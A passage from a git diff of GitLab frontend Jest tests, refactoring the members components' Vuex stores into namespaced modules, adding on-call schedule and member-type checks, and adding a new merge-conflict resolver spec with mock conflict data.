isAccessRequest: true,
+ isInvite: true,
+ oncallSchedules: { name: 'user', schedules: [] },
...propsData,
},
directives: {
@@ -44,8 +56,11 @@ describe('RemoveMemberButton', () => {
expect(wrapper.attributes()).toMatchObject({
'data-member-path': '/groups/foo-bar/-/group_members/1',
+ 'data-member-type': 'GroupMember',
'data-message': 'Are you sure you want to remove John Smith?',
'data-is-access-request': 'true',
+ 'data-is-invite': 'true',
+ 'data-oncall-schedules': '{"name":"user","schedules":[]}',
'aria-label': 'Remove member',
title: 'Remove member',
icon: 'remove',
diff --git a/spec/frontend/members/components/action_buttons/resend_invite_button_spec.js b/spec/frontend/members/components/action_buttons/resend_invite_button_spec.js
index 49b6979f954..547e067450c 100644
--- a/spec/frontend/members/components/action_buttons/resend_invite_button_spec.js
+++ b/spec/frontend/members/components/action_buttons/resend_invite_button_spec.js
@@ -3,6 +3,7 @@ import { shallowMount, createLocalVue } from '@vue/test-utils';
import Vuex from 'vuex';
import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
import ResendInviteButton from '~/members/components/action_buttons/resend_invite_button.vue';
+import { MEMBER_TYPES } from '~/members/constants';
jest.mock('~/lib/utils/csrf', () => ({ token: 'mock-csrf-token' }));
@@ -14,9 +15,14 @@ describe('ResendInviteButton', () => {
const createStore = (state = {}) => {
return new Vuex.Store({
- state: {
- memberPath: '/groups/foo-bar/-/group_members/:id',
- ...state,
+ modules: {
+ [MEMBER_TYPES.invite]: {
+ namespaced: true,
+ state: {
+ memberPath: '/groups/foo-bar/-/group_members/:id',
+ ...state,
+ },
+ },
},
});
};
@@ -25,6 +31,9 @@ describe('ResendInviteButton', () => {
wrapper = shallowMount(ResendInviteButton, {
localVue,
store: createStore(state),
+ provide: {
+ namespace: MEMBER_TYPES.invite,
+ },
propsData: {
memberId: 1,
...propsData,
diff --git a/spec/frontend/members/components/action_buttons/user_action_buttons_spec.js b/spec/frontend/members/components/action_buttons/user_action_buttons_spec.js
index 1d7ea5b3109..0aa3780f030 100644
--- a/spec/frontend/members/components/action_buttons/user_action_buttons_spec.js
+++ b/spec/frontend/members/components/action_buttons/user_action_buttons_spec.js
@@ -39,10 +39,16 @@ describe('UserActionButtons', () => {
it('sets props correctly', () => {
expect(findRemoveMemberButton().props()).toEqual({
memberId: member.id,
- message: `Are you sure you want to remove ${member.user.name} from "${member.source.fullName}"`,
+ memberType: 'GroupMember',
+ message: `Are you sure you want to remove ${member.user.name} from "${member.source.fullName}"?`,
title: 'Remove member',
isAccessRequest: false,
+ isInvite: false,
icon: 'remove',
+ oncallSchedules: {
+ name: member.user.name,
+ schedules: member.user.oncallSchedules,
+ },
});
});
@@ -56,7 +62,7 @@ describe('UserActionButtons', () => {
});
expect(findRemoveMemberButton().props('message')).toBe(
- `Are you sure you want to remove this orphaned member from "${orphanedMember.source.fullName}"`,
+ `Are you sure you want to remove this orphaned member from "${orphanedMember.source.fullName}"?`,
);
});
});
@@ -86,4 +92,40 @@ describe('UserActionButtons', () => {
expect(findRemoveMemberButton().exists()).toBe(false);
});
});
+
+ describe('when group member', () => {
+ beforeEach(() => {
+ createComponent({
+ member: {
+ ...member,
+ type: 'GroupMember',
+ },
+ permissions: {
+ canRemove: true,
+ },
+ });
+ });
+
+ it('sets member type correctly', () => {
+ expect(findRemoveMemberButton().props().memberType).toBe('GroupMember');
+ });
+ });
+
+ describe('when project member', () => {
+ beforeEach(() => {
+ createComponent({
+ member: {
+ ...member,
+ type: 'ProjectMember',
+ },
+ permissions: {
+ canRemove: true,
+ },
+ });
+ });
+
+ it('sets member type correctly', () => {
+ expect(findRemoveMemberButton().props().memberType).toBe('ProjectMember');
+ });
+ });
});
diff --git a/spec/frontend/members/components/app_spec.js b/spec/frontend/members/components/app_spec.js
index a1329c3ee9f..05933e36b52 100644
--- a/spec/frontend/members/components/app_spec.js
+++ b/spec/frontend/members/components/app_spec.js
@@ -5,6 +5,7 @@ import Vuex from 'vuex';
import * as commonUtils from '~/lib/utils/common_utils';
import MembersApp from '~/members/components/app.vue';
import FilterSortContainer from '~/members/components/filter_sort/filter_sort_container.vue';
+import { MEMBER_TYPES } from '~/members/constants';
import { RECEIVE_MEMBER_ROLE_ERROR, HIDE_ERROR } from '~/members/store/mutation_types';
import mutations from '~/members/store/mutations';
@@ -17,16 +18,24 @@ describe('MembersApp', () => {
const createComponent = (state = {}, options = {}) => {
store = new Vuex.Store({
- state: {
- showError: true,
- errorMessage: 'Something went wrong, please try again.',
- ...state,
+ modules: {
+ [MEMBER_TYPES.user]: {
+ namespaced: true,
+ state: {
+ showError: true,
+ errorMessage: 'Something went wrong, please try again.',
+ ...state,
+ },
+ mutations,
+ },
},
- mutations,
});
wrapper = shallowMount(MembersApp, {
localVue,
+ provide: {
+ namespace: MEMBER_TYPES.user,
+ },
store,
...options,
});
@@ -48,7 +57,9 @@ describe('MembersApp', () => {
it('renders and scrolls to error alert', async () => {
createComponent({ showError: false, errorMessage: '' });
- store.commit(RECEIVE_MEMBER_ROLE_ERROR, { error: new Error('Network Error') });
+ store.commit(`${MEMBER_TYPES.user}/${RECEIVE_MEMBER_ROLE_ERROR}`, {
+ error: new Error('Network Error'),
+ });
await nextTick();
@@ -66,7 +77,7 @@ describe('MembersApp', () => {
it('does not render and scroll to error alert', async () => {
createComponent();
- store.commit(HIDE_ERROR);
+ store.commit(`${MEMBER_TYPES.user}/${HIDE_ERROR}`);
await nextTick();
diff --git a/spec/frontend/members/components/avatars/user_avatar_spec.js b/spec/frontend/members/components/avatars/user_avatar_spec.js
index 3f4d9155c5d..5cf3a4cdc13 100644
--- a/spec/frontend/members/components/avatars/user_avatar_spec.js
+++ b/spec/frontend/members/components/avatars/user_avatar_spec.js
@@ -1,31 +1,25 @@
import { GlAvatarLink, GlBadge } from '@gitlab/ui';
import { within } from '@testing-library/dom';
import { mount, createWrapper } from '@vue/test-utils';
-import Vue from 'vue';
-import Vuex from 'vuex';
import UserAvatar from '~/members/components/avatars/user_avatar.vue';
import { member as memberMock, member2faEnabled, orphanedMember } from '../../mock_data';
-Vue.use(Vuex);
-
describe('UserAvatar', () => {
let wrapper;
const { user } = memberMock;
- const createComponent = (propsData = {}, state = {}) => {
+ const createComponent = (propsData = {}, provide = {}) => {
wrapper = mount(UserAvatar, {
propsData: {
member: memberMock,
isCurrentUser: false,
...propsData,
},
- store: new Vuex.Store({
- state: {
- canManageMembers: true,
- ...state,
- },
- }),
+ provide: {
+ canManageMembers: true,
+ ...provide,
+ },
});
};
diff --git a/spec/frontend/members/components/filter_sort/filter_sort_container_spec.js b/spec/frontend/members/components/filter_sort/filter_sort_container_spec.js
index 0d9f9acbbeb..16ac52737bc 100644
--- a/spec/frontend/members/components/filter_sort/filter_sort_container_spec.js
+++ b/spec/frontend/members/components/filter_sort/filter_sort_container_spec.js
@@ -3,6 +3,7 @@ import Vuex from 'vuex';
import FilterSortContainer from '~/members/components/filter_sort/filter_sort_container.vue';
import MembersFilteredSearchBar from '~/members/components/filter_sort/members_filtered_search_bar.vue';
import SortDropdown from '~/members/components/filter_sort/sort_dropdown.vue';
+import { MEMBER_TYPES } from '~/members/constants';
const localVue = createLocalVue();
localVue.use(Vuex);
@@ -12,22 +13,30 @@ describe('FilterSortContainer', () => {
const createComponent = (state) => {
const store = new Vuex.Store({
- state: {
- filteredSearchBar: {
- show: true,
- tokens: ['two_factor'],
- searchParam: 'search',
- placeholder: 'Filter members',
- recentSearchesStorageKey: 'group_members',
+ modules: {
+ [MEMBER_TYPES.user]: {
+ namespaced: true,
+ state: {
+ filteredSearchBar: {
+ show: true,
+ tokens: ['two_factor'],
+ searchParam: 'search',
+ placeholder: 'Filter members',
+ recentSearchesStorageKey: 'group_members',
+ },
+ tableSortableFields: ['account'],
+ ...state,
+ },
},
- tableSortableFields: ['account'],
- ...state,
},
});
wrapper = shallowMount(FilterSortContainer, {
localVue,
store,
+ provide: {
+ namespace: MEMBER_TYPES.user,
+ },
});
};
diff --git a/spec/frontend/members/components/filter_sort/members_filtered_search_bar_spec.js b/spec/frontend/members/components/filter_sort/members_filtered_search_bar_spec.js
index 14b437a8c4e..af5434f7068 100644
--- a/spec/frontend/members/components/filter_sort/members_filtered_search_bar_spec.js
+++ b/spec/frontend/members/components/filter_sort/members_filtered_search_bar_spec.js
@@ -2,6 +2,7 @@ import { GlFilteredSearchToken } from '@gitlab/ui';
import { shallowMount, createLocalVue } from '@vue/test-utils';
import Vuex from 'vuex';
import MembersFilteredSearchBar from '~/members/components/filter_sort/members_filtered_search_bar.vue';
+import { MEMBER_TYPES } from '~/members/constants';
import FilteredSearchBar from '~/vue_shared/components/filtered_search_bar/filtered_search_bar_root.vue';
const localVue = createLocalVue();
@@ -10,24 +11,33 @@ localVue.use(Vuex);
describe('MembersFilteredSearchBar', () => {
let wrapper;
- const createComponent = (state) => {
+ const createComponent = ({ state = {}, provide = {} } = {}) => {
const store = new Vuex.Store({
- state: {
- sourceId: 1,
- filteredSearchBar: {
- show: true,
- tokens: ['two_factor'],
- searchParam: 'search',
- placeholder: 'Filter members',
- recentSearchesStorageKey: 'group_members',
+ modules: {
+ [MEMBER_TYPES.user]: {
+ namespaced: true,
+ state: {
+ filteredSearchBar: {
+ show: true,
+ tokens: ['two_factor'],
+ searchParam: 'search',
+ placeholder: 'Filter members',
+ recentSearchesStorageKey: 'group_members',
+ },
+ ...state,
+ },
},
- canManageMembers: true,
- ...state,
},
});
wrapper = shallowMount(MembersFilteredSearchBar, {
localVue,
+ provide: {
+ sourceId: 1,
+ canManageMembers: true,
+ namespace: MEMBER_TYPES.user,
+ ...provide,
+ },
store,
});
};
@@ -68,14 +78,18 @@ describe('MembersFilteredSearchBar', () => {
describe('when `canManageMembers` is false', () => {
it('excludes 2FA token', () => {
createComponent({
- filteredSearchBar: {
- show: true,
- tokens: ['two_factor', 'with_inherited_permissions'],
- searchParam: 'search',
- placeholder: 'Filter members',
- recentSearchesStorageKey: 'group_members',
+ state: {
+ filteredSearchBar: {
+ show: true,
+ tokens: ['two_factor', 'with_inherited_permissions'],
+ searchParam: 'search',
+ placeholder: 'Filter members',
+ recentSearchesStorageKey: 'group_members',
+ },
+ },
+ provide: {
+ canManageMembers: false,
},
- canManageMembers: false,
});
expect(findFilteredSearchBar().props('tokens')).toEqual([
diff --git a/spec/frontend/members/components/filter_sort/sort_dropdown_spec.js b/spec/frontend/members/components/filter_sort/sort_dropdown_spec.js
index 357fad741e9..4b335755980 100644
--- a/spec/frontend/members/components/filter_sort/sort_dropdown_spec.js
+++ b/spec/frontend/members/components/filter_sort/sort_dropdown_spec.js
@@ -3,6 +3,7 @@ import { mount, createLocalVue } from '@vue/test-utils';
import Vuex from 'vuex';
import * as urlUtilities from '~/lib/utils/url_utility';
import SortDropdown from '~/members/components/filter_sort/sort_dropdown.vue';
+import { MEMBER_TYPES } from '~/members/constants';
const localVue = createLocalVue();
localVue.use(Vuex);
@@ -14,22 +15,30 @@ describe('SortDropdown', () => {
const createComponent = (state) => {
const store = new Vuex.Store({
- state: {
- sourceId: 1,
- tableSortableFields: ['account', 'granted', 'expires', 'maxRole', 'lastSignIn'],
- filteredSearchBar: {
- show: true,
- tokens: ['two_factor'],
- searchParam: 'search',
- placeholder: 'Filter members',
- recentSearchesStorageKey: 'group_members',
+ modules: {
+ [MEMBER_TYPES.user]: {
+ namespaced: true,
+ state: {
+ tableSortableFields: ['account', 'granted', 'expires', 'maxRole', 'lastSignIn'],
+ filteredSearchBar: {
+ show: true,
+ tokens: ['two_factor'],
+ searchParam: 'search',
+ placeholder: 'Filter members',
+ recentSearchesStorageKey: 'group_members',
+ },
+ ...state,
+ },
},
- ...state,
},
});
wrapper = mount(SortDropdown, {
localVue,
+ provide: {
+ sourceId: 1,
+ namespace: MEMBER_TYPES.user,
+ },
store,
});
};
diff --git a/spec/frontend/members/components/modals/leave_modal_spec.js b/spec/frontend/members/components/modals/leave_modal_spec.js
index 2d52911572f..ea9eb7bf923 100644
--- a/spec/frontend/members/components/modals/leave_modal_spec.js
+++ b/spec/frontend/members/components/modals/leave_modal_spec.js
@@ -1,10 +1,12 @@
import { GlModal, GlForm } from '@gitlab/ui';
import { within } from '@testing-library/dom';
import { mount, createLocalVue, createWrapper } from '@vue/test-utils';
+import { cloneDeep } from 'lodash';
import { nextTick } from 'vue';
import Vuex from 'vuex';
import LeaveModal from '~/members/components/modals/leave_modal.vue';
-import { LEAVE_MODAL_ID } from '~/members/constants';
+import { LEAVE_MODAL_ID, MEMBER_TYPES } from '~/members/constants';
+import OncallSchedulesList from '~/vue_shared/components/oncall_schedules_list.vue';
import { member } from '../../mock_data';
jest.mock('~/lib/utils/csrf', () => ({ token: 'mock-csrf-token' }));
@@ -17,9 +19,14 @@ describe('LeaveModal', () => {
const createStore = (state = {}) => {
return new Vuex.Store({
- state: {
- memberPath: '/groups/foo-bar/-/group_members/:id',
- ...state,
+ modules: {
+ [MEMBER_TYPES.user]: {
+ namespaced: true,
+ state: {
+ memberPath: '/groups/foo-bar/-/group_members/:id',
+ ...state,
+ },
+ },
},
});
};
@@ -28,6 +35,9 @@ describe('LeaveModal', () => {
wrapper = mount(LeaveModal, {
localVue,
store: createStore(state),
+ provide: {
+ namespace: MEMBER_TYPES.user,
+ },
propsData: {
member,
...propsData,
@@ -39,9 +49,9 @@ describe('LeaveModal', () => {
});
};
- const findModal = () => wrapper.find(GlModal);
-
- const findForm = () => findModal().find(GlForm);
+ const findModal = () => wrapper.findComponent(GlModal);
+ const findForm = () => findModal().findComponent(GlForm);
+ const findOncallSchedulesList = () => findModal().findComponent(OncallSchedulesList);
const getByText = (text, options) =>
createWrapper(within(findModal().element).getByText(text, options));
@@ -79,6 +89,24 @@ describe('LeaveModal', () => {
);
});
+ describe('On-call schedules list', () => {
+ it("displays oncall schedules list when member's user is part of on-call schedules ", () => {
+ const schedulesList = findOncallSchedulesList();
+ expect(schedulesList.exists()).toBe(true);
+ expect(schedulesList.props()).toMatchObject({
+ isCurrentUser: true,
+ schedules: member.user.oncallSchedules,
+ });
+ });
+
+ it("does NOT display oncall schedules list when member's user is NOT a part of on-call schedules ", () => {
+ const memberWithoutOncallSchedules = cloneDeep(member);
+ delete (memberWithoutOncallSchedules, 'user.oncallSchedules');
+ createComponent({ member: memberWithoutOncallSchedules });
+ expect(findOncallSchedulesList().exists()).toBe(false);
+ });
+ });
+
it('submits the form when "Leave" button is clicked', () => {
const submitSpy = jest.spyOn(findForm().element, 'submit');
diff --git a/spec/frontend/members/components/modals/remove_group_link_modal_spec.js b/spec/frontend/members/components/modals/remove_group_link_modal_spec.js
index 62df912c1a2..01279581c55 100644
--- a/spec/frontend/members/components/modals/remove_group_link_modal_spec.js
+++ b/spec/frontend/members/components/modals/remove_group_link_modal_spec.js
@@ -4,7 +4,7 @@ import { mount, createLocalVue, createWrapper } from '@vue/test-utils';
import { nextTick } from 'vue';
import Vuex from 'vuex';
import RemoveGroupLinkModal from '~/members/components/modals/remove_group_link_modal.vue';
-import { REMOVE_GROUP_LINK_MODAL_ID } from '~/members/constants';
+import { REMOVE_GROUP_LINK_MODAL_ID, MEMBER_TYPES } from '~/members/constants';
import { group } from '../../mock_data';
jest.mock('~/lib/utils/csrf', () => ({ token: 'mock-csrf-token' }));
@@ -21,13 +21,18 @@ describe('RemoveGroupLinkModal', () => {
const createStore = (state = {}) => {
return new Vuex.Store({
- state: {
- memberPath: '/groups/foo-bar/-/group_links/:id',
- groupLinkToRemove: group,
- removeGroupLinkModalVisible: true,
- ...state,
+ modules: {
+ [MEMBER_TYPES.group]: {
+ namespaced: true,
+ state: {
+ memberPath: '/groups/foo-bar/-/group_links/:id',
+ groupLinkToRemove: group,
+ removeGroupLinkModalVisible: true,
+ ...state,
+ },
+ actions,
+ },
},
- actions,
});
};
@@ -35,6 +40,9 @@ describe('RemoveGroupLinkModal', () => {
wrapper = mount(RemoveGroupLinkModal, {
localVue,
store: createStore(state),
+ provide: {
+ namespace: MEMBER_TYPES.group,
+ },
attrs: {
static: true,
},
diff --git a/spec/frontend/members/components/table/expiration_datepicker_spec.js b/spec/frontend/members/components/table/expiration_datepicker_spec.js
index d26172b4ed1..3c4a9ba37ff 100644
--- a/spec/frontend/members/components/table/expiration_datepicker_spec.js
+++ b/spec/frontend/members/components/table/expiration_datepicker_spec.js
@@ -5,6 +5,7 @@ import Vuex from 'vuex';
import { useFakeDate } from 'helpers/fake_date';
import waitForPromises from 'helpers/wait_for_promises';
import ExpirationDatepicker from '~/members/components/table/expiration_datepicker.vue';
+import { MEMBER_TYPES } from '~/members/constants';
import { member } from '../../mock_data';
const localVue = createLocalVue();
@@ -31,7 +32,11 @@ describe('ExpirationDatepicker', () => {
),
};
- return new Vuex.Store({ actions });
+ return new Vuex.Store({
+ modules: {
+ [MEMBER_TYPES.user]: { namespaced: true, actions },
+ },
+ });
};
const createComponent = (propsData = {}) => {
@@ -41,6 +46,9 @@ describe('ExpirationDatepicker', () => {
permissions: { canUpdate: true },
...propsData,
},
+ provide: {
+ namespace: MEMBER_TYPES.user,
+ },
localVue,
store: createStore(),
mocks: {
diff --git a/spec/frontend/members/components/table/members_table_cell_spec.js b/spec/frontend/members/components/table/members_table_cell_spec.js
index b7dcd2a9fae..5375ee11736 100644
--- a/spec/frontend/members/components/table/members_table_cell_spec.js
+++ b/spec/frontend/members/components/table/members_table_cell_spec.js
@@ -42,21 +42,21 @@ describe('MembersTableCell', () => {
const createStore = (state = {}) => {
return new Vuex.Store({
- state: {
- sourceId: 1,
- currentUserId: 1,
- ...state,
- },
+ state,
});
};
let wrapper;
- const createComponent = (propsData, state = {}) => {
+ const createComponent = (propsData, state) => {
wrapper = mount(MembersTableCell, {
localVue,
propsData,
store: createStore(state),
+ provide: {
+ sourceId: 1,
+ currentUserId: 1,
+ },
scopedSlots: {
default: `
<wrapped-component
diff --git a/spec/frontend/members/components/table/members_table_spec.js b/spec/frontend/members/components/table/members_table_spec.js
index cf5811e72e7..5cf1f40a8f4 100644
--- a/spec/frontend/members/components/table/members_table_spec.js
+++ b/spec/frontend/members/components/table/members_table_spec.js
@@ -14,6 +14,7 @@ import MemberAvatar from '~/members/components/table/member_avatar.vue';
import MemberSource from '~/members/components/table/member_source.vue';
import MembersTable from '~/members/components/table/members_table.vue';
import RoleDropdown from '~/members/components/table/role_dropdown.vue';
+import { MEMBER_TYPES } from '~/members/constants';
import * as initUserPopovers from '~/user_popovers';
import { member as memberMock, directMember, invite, accessRequest } from '../../mock_data';
@@ -25,24 +26,33 @@ describe('MembersTable', () => {
const createStore = (state = {}) => {
return new Vuex.Store({
- state: {
- members: [],
- tableFields: [],
- tableAttrs: {
- table: { 'data-qa-selector': 'members_list' },
- tr: { 'data-qa-selector': 'member_row' },
+ modules: {
+ [MEMBER_TYPES.user]: {
+ namespaced: true,
+ state: {
+ members: [],
+ tableFields: [],
+ tableAttrs: {
+ table: { 'data-qa-selector': 'members_list' },
+ tr: { 'data-qa-selector': 'member_row' },
+ },
+ ...state,
+ },
},
- sourceId: 1,
- currentUserId: 1,
- ...state,
},
});
};
- const createComponent = (state) => {
+ const createComponent = (state, provide = {}) => {
wrapper = mount(MembersTable, {
localVue,
store: createStore(state),
+ provide: {
+ sourceId: 1,
+ currentUserId: 1,
+ namespace: MEMBER_TYPES.user,
+ ...provide,
+ },
stubs: [
'member-avatar',
'member-source',
@@ -119,7 +129,7 @@ describe('MembersTable', () => {
describe('when user is not logged in', () => {
it('does not render the "Actions" field', () => {
- createComponent({ currentUserId: null, tableFields: ['actions'] });
+ createComponent({ tableFields: ['actions'] }, { currentUserId: null });
expect(within(wrapper.element).queryByTestId('col-actions')).toBe(null);
});
diff --git a/spec/frontend/members/components/table/role_dropdown_spec.js b/spec/frontend/members/components/table/role_dropdown_spec.js
index aa280599061..c8b6bead450 100644
--- a/spec/frontend/members/components/table/role_dropdown_spec.js
+++ b/spec/frontend/members/components/table/role_dropdown_spec.js
@@ -7,6 +7,7 @@ import Vuex from 'vuex';
import waitForPromises from 'helpers/wait_for_promises';
import { BV_DROPDOWN_SHOW } from '~/lib/utils/constants';
import RoleDropdown from '~/members/components/table/role_dropdown.vue';
+import { MEMBER_TYPES } from '~/members/constants';
import { member } from '../../mock_data';
const localVue = createLocalVue();
@@ -24,11 +25,18 @@ describe('RoleDropdown', () => {
updateMemberRole: jest.fn(() => Promise.resolve()),
};
- return new Vuex.Store({ actions });
+ return new Vuex.Store({
+ modules: {
+ [MEMBER_TYPES.user]: { namespaced: true, actions },
+ },
+ });
};
const createComponent = (propsData = {}) => {
wrapper = mount(RoleDropdown, {
+ provide: {
+ namespace: MEMBER_TYPES.user,
+ },
propsData: {
member,
permissions: {},
diff --git a/spec/frontend/members/index_spec.js b/spec/frontend/members/index_spec.js
index dd3b9ddd912..8b645d9b059 100644
--- a/spec/frontend/members/index_spec.js
+++ b/spec/frontend/members/index_spec.js
@@ -1,5 +1,6 @@
import { createWrapper } from '@vue/test-utils';
import MembersApp from '~/members/components/app.vue';
+import { MEMBER_TYPES } from '~/members/constants';
import { initMembersApp } from '~/members/index';
import { membersJsonString, members } from './mock_data';
@@ -10,6 +11,7 @@ describe('initMembersApp', () => {
const setup = () => {
vm = initMembersApp(el, {
+ namespace: MEMBER_TYPES.user,
tableFields: ['account'],
tableAttrs: { table: { 'data-qa-selector': 'members_list' } },
tableSortableFields: ['account'],
@@ -42,72 +44,49 @@ describe('initMembersApp', () => {
expect(wrapper.find(MembersApp).exists()).toBe(true);
});
- it('sets `currentUserId` in Vuex store', () => {
- setup();
-
- expect(vm.$store.state.currentUserId).toBe(123);
- });
-
- describe('when `gon.current_user_id` is not set (user is not logged in)', () => {
- it('sets `currentUserId` as `null` in Vuex store', () => {
- window.gon = {};
- setup();
-
- expect(vm.$store.state.currentUserId).toBeNull();
- });
- });
-
- it('parses and sets `data-source-id` as `sourceId` in Vuex store', () => {
- setup();
-
- expect(vm.$store.state.sourceId).toBe(234);
- });
-
- it('parses and sets `data-can-manage-members` as `canManageMembers` in Vuex store', () => {
- setup();
-
- expect(vm.$store.state.canManageMembers).toBe(true);
- });
-
it('parses and sets `members` in Vuex store', () => {
setup();
- expect(vm.$store.state.members).toEqual(members);
+ expect(vm.$store.state[MEMBER_TYPES.user].members).toEqual(members);
});
it('sets `tableFields` in Vuex store', () => {
setup();
- expect(vm.$store.state.tableFields).toEqual(['account']);
+ expect(vm.$store.state[MEMBER_TYPES.user].tableFields).toEqual(['account']);
});
it('sets `tableAttrs` in Vuex store', () => {
setup();
- expect(vm.$store.state.tableAttrs).toEqual({ table: { 'data-qa-selector': 'members_list' } });
+ expect(vm.$store.state[MEMBER_TYPES.user].tableAttrs).toEqual({
+ table: { 'data-qa-selector': 'members_list' },
+ });
});
it('sets `tableSortableFields` in Vuex store', () => {
setup();
- expect(vm.$store.state.tableSortableFields).toEqual(['account']);
+ expect(vm.$store.state[MEMBER_TYPES.user].tableSortableFields).toEqual(['account']);
});
it('sets `requestFormatter` in Vuex store', () => {
setup();
- expect(vm.$store.state.requestFormatter()).toEqual({});
+ expect(vm.$store.state[MEMBER_TYPES.user].requestFormatter()).toEqual({});
});
it('sets `filteredSearchBar` in Vuex store', () => {
setup();
- expect(vm.$store.state.filteredSearchBar).toEqual({ show: false });
+ expect(vm.$store.state[MEMBER_TYPES.user].filteredSearchBar).toEqual({ show: false });
});
it('sets `memberPath` in Vuex store', () => {
setup();
- expect(vm.$store.state.memberPath).toBe('/groups/foo-bar/-/group_members/:id');
+ expect(vm.$store.state[MEMBER_TYPES.user].memberPath).toBe(
+ '/groups/foo-bar/-/group_members/:id',
+ );
});
});
diff --git a/spec/frontend/members/mock_data.js b/spec/frontend/members/mock_data.js
index 6a73b2fcf8c..a47b7ab2118 100644
--- a/spec/frontend/members/mock_data.js
+++ b/spec/frontend/members/mock_data.js
@@ -11,6 +11,7 @@ export const member = {
fullName: 'Foo Bar',
webUrl: 'https://gitlab.com/groups/foo-bar',
},
+ type: 'GroupMember',
user: {
id: 123,
name: 'Administrator',
@@ -19,6 +20,7 @@ export const member = {
avatarUrl: 'https://www.gravatar.com/avatar/4816142ef496f956a277bedf1a40607b?s=80&d=identicon',
blocked: false,
twoFactorEnabled: false,
+ oncallSchedules: [{ name: 'schedule 1' }],
},
id: 238,
createdAt: '2020-07-17T16:22:46.923Z',
diff --git a/spec/frontend/merge_conflicts/components/merge_conflict_resolver_app_spec.js b/spec/frontend/merge_conflicts/components/merge_conflict_resolver_app_spec.js
new file mode 100644
index 00000000000..eaa3b1c5d53
--- /dev/null
+++ b/spec/frontend/merge_conflicts/components/merge_conflict_resolver_app_spec.js
@@ -0,0 +1,131 @@
+import { GlSprintf } from '@gitlab/ui';
+import { shallowMount, createLocalVue } from '@vue/test-utils';
+import Vuex from 'vuex';
+import InlineConflictLines from '~/merge_conflicts/components/inline_conflict_lines.vue';
+import ParallelConflictLines from '~/merge_conflicts/components/parallel_conflict_lines.vue';
+import component from '~/merge_conflicts/merge_conflict_resolver_app.vue';
+import { createStore } from '~/merge_conflicts/store';
+import { decorateFiles } from '~/merge_conflicts/utils';
+import { conflictsMock } from '../mock_data';
+
+const localVue = createLocalVue();
+localVue.use(Vuex);
+
+describe('Merge Conflict Resolver App', () => {
+ let wrapper;
+ let store;
+
+ const decoratedMockFiles = decorateFiles(conflictsMock.files);
+
+ const mountComponent = () => {
+ wrapper = shallowMount(component, {
+ store,
+ stubs: { GlSprintf },
+ provide() {
+ return {
+ mergeRequestPath: 'foo',
+ sourceBranchPath: 'foo',
+ resolveConflictsPath: 'bar',
+ };
+ },
+ });
+ };
+
+ beforeEach(() => {
+ store = createStore();
+ store.commit('SET_LOADING_STATE', false);
+ store.dispatch('setConflictsData', conflictsMock);
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ const findConflictsCount = () => wrapper.find('[data-testid="conflicts-count"]');
+ const findFiles = () => wrapper.findAll('[data-testid="files"]');
+ const findFileHeader = (w = wrapper) => w.find('[data-testid="file-name"]');
+ const findFileInteractiveButton = (w = wrapper) => w.find('[data-testid="interactive-button"]');
+ const findFileInlineButton = (w = wrapper) => w.find('[data-testid="inline-button"]');
+ const findSideBySideButton = () => wrapper.find('[data-testid="side-by-side"]');
+ const findInlineConflictLines = (w = wrapper) => w.find(InlineConflictLines);
+ const findParallelConflictLines = (w = wrapper) => w.find(ParallelConflictLines);
+ const findCommitMessageTextarea = () => wrapper.find('[data-testid="commit-message"]');
+
+ it('shows the amount of conflicts', () => {
+ mountComponent();
+
+ const title = findConflictsCount();
+
+ expect(title.exists()).toBe(true);
+ expect(title.text().trim()).toBe('Showing 3 conflicts between test-conflicts and master');
+ });
+
+ describe('files', () => {
+ it('shows one file area for each file', () => {
+ mountComponent();
+
+ expect(findFiles()).toHaveLength(conflictsMock.files.length);
+ });
+
+ it('has the appropriate file header', () => {
+ mountComponent();
+
+ const fileHeader = findFileHeader(findFiles().at(0));
+
+ expect(fileHeader.text()).toBe(decoratedMockFiles[0].filePath);
+ });
+
+ describe('editing', () => {
+ it('interactive mode is the default', () => {
+ mountComponent();
+
+ const interactiveButton = findFileInteractiveButton(findFiles().at(0));
+ const inlineButton = findFileInlineButton(findFiles().at(0));
+
+ expect(interactiveButton.classes('active')).toBe(true);
+ expect(inlineButton.classes('active')).toBe(false);
+ });
+
+ it('clicking inline set inline as default', async () => {
+ mountComponent();
+
+ const inlineButton = findFileInlineButton(findFiles().at(0));
+ expect(inlineButton.classes('active')).toBe(false);
+
+ inlineButton.trigger('click');
+ await wrapper.vm.$nextTick();
+
+ expect(inlineButton.classes('active')).toBe(true);
+ });
+
+ it('inline mode shows a inline-conflict-lines', () => {
+ mountComponent();
+
+ const inlineConflictLinesComponent = findInlineConflictLines(findFiles().at(0));
+
+ expect(inlineConflictLinesComponent.exists()).toBe(true);
+ expect(inlineConflictLinesComponent.props('file')).toEqual(decoratedMockFiles[0]);
+ });
+
+ it('parallel mode shows a parallel-conflict-lines', async () => {
+ mountComponent();
+
+ findSideBySideButton().trigger('click');
+ await wrapper.vm.$nextTick();
+
+ const parallelConflictLinesComponent = findParallelConflictLines(findFiles().at(0));
+
+ expect(parallelConflictLinesComponent.exists()).toBe(true);
+ expect(parallelConflictLinesComponent.props('file')).toEqual(decoratedMockFiles[0]);
+ });
+ });
+ });
+
+ describe('submit form', () => {
+ it('contains a commit message textarea', () => {
+ mountComponent();
+
+ expect(findCommitMessageTextarea().exists()).toBe(true);
+ });
+ });
+});
diff --git a/spec/frontend/merge_conflicts/mock_data.js b/spec/frontend/merge_conflicts/mock_data.js
new file mode 100644
index 00000000000..8948f2a3c1e
--- /dev/null
+++ b/spec/frontend/merge_conflicts/mock_data.js
@@ -0,0 +1,340 @@
+export const conflictsMock = {
+ target_branch: 'master',
+ source_branch: 'test-conflicts',
+ commit_sha: '6dbf385a3c7bf01e09b5d2d9e5d72f8fb8c590a3',
+ commit_message:
+ "Merge branch 'master' into 'test-conflicts'\n\n# Conflicts:\n# .gitlab-ci.yml\n# README.md",
+ files: [
+ {
+ old_path: '.gitlab-ci.yml',
+ new_path: '.gitlab-ci.yml',
+ blob_icon: 'doc-text',
+ blob_path:
+ '/gitlab-org/gitlab-test/-/blob/6dbf385a3c7bf01e09b5d2d9e5d72f8fb8c590a3/.gitlab-ci.yml',
+ sections: [
+ {
+ conflict: false,
+ lines: [
+ {
+ line_code: null,
+ type: 'match',
+ old_line: null,
+ new_line: null,
+ text: '@@ -7,10 +7,11 @@ upload:',
+ meta_data: { old_pos: 7, new_pos: 7 },
+ rich_text: '@@ -7,10 +7,11 @@ upload:',
+ can_receive_suggestion: true,
+ },
+ {
+ line_code: '587d266bb27a4dc3022bbed44dfa19849df3044c_7_7',
+ type: null,
